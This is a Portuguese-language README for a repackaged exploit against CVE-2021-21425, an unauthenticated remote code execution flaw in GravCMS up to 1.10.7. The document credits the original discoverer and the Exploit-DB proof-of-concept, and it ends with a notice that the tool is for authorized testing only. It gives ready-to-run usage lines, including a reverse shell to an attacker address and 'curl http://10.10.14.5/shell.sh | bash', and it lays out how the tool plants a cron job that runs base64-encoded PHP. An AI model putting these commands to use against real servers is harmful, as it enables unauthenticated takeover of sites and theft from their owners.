
CVE-2021-21425 - GravCMS 1.10.7 RCE não autenticado via Scheduler. Exploit aprimorado com argumentos de CLI e codificação base64 automática.
Proof-of-concept aprimorado para CVE-2021-21425, uma vulnerabilidade de Remote Code Execution não autenticada no GravCMS <= 1.10.7 através de escrita arbitrária de YAML no scheduler.
Este é um trabalho derivado. A vulnerabilidade e o exploit original não são meus.
| Função | Quem |
|---|---|
| Vulnerabilidade descoberta por | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — Março de 2021 |
| PoC original por | "legend" — Exploit-DB EDB-49973 |
| Modificações neste repositório por | d4ytox |
O EDB-49973 original exige a edição manual de valores hardcoded no script. Esta versão adiciona:
-c)Estas são mudanças de usabilidade em um exploit existente. Nenhuma pesquisa de vulnerabilidade é reivindicada.
| Campo | Valor |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Afetado | GravCMS <= 1.10.7 |
| Tipo | RCE Não Autenticado |
| CVSS | 9.8 (Crítico) |
O plugin Grav Admin falha em verificar a autenticação em certas rotas administrativas, permitindo que usuários não autenticados escrevam configuração YAML arbitrária. Este exploit abusa da configuração do scheduler para criar um cron job que executa código PHP arbitrário.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Comando personalizado
python3 exploit.py -t http://target -c "id"
# Obter reverse shell no alvo
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Executar comando
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin para extrair o token admin-nonce (sem autenticação necessária devido à vulnerabilidade)/admin/config/scheduler com configuração de cron job maliciosa/usr/bin/php -r eval(base64_decode(...))/tmp/rev.sh e o executaO cron job é executado a cada minuto (* * * * *), então o shell chega em até 60 segundos.
MIT, aplicando-se apenas às modificações neste repositório. O PoC upstream não possui licença, portanto permanece todos os direitos reservados por seu autor. Consulte LICENSE para o aviso completo de atribuição.
Apenas para testes de segurança autorizados. Certifique-se de ter permissão por escrito antes de testar contra qualquer sistema.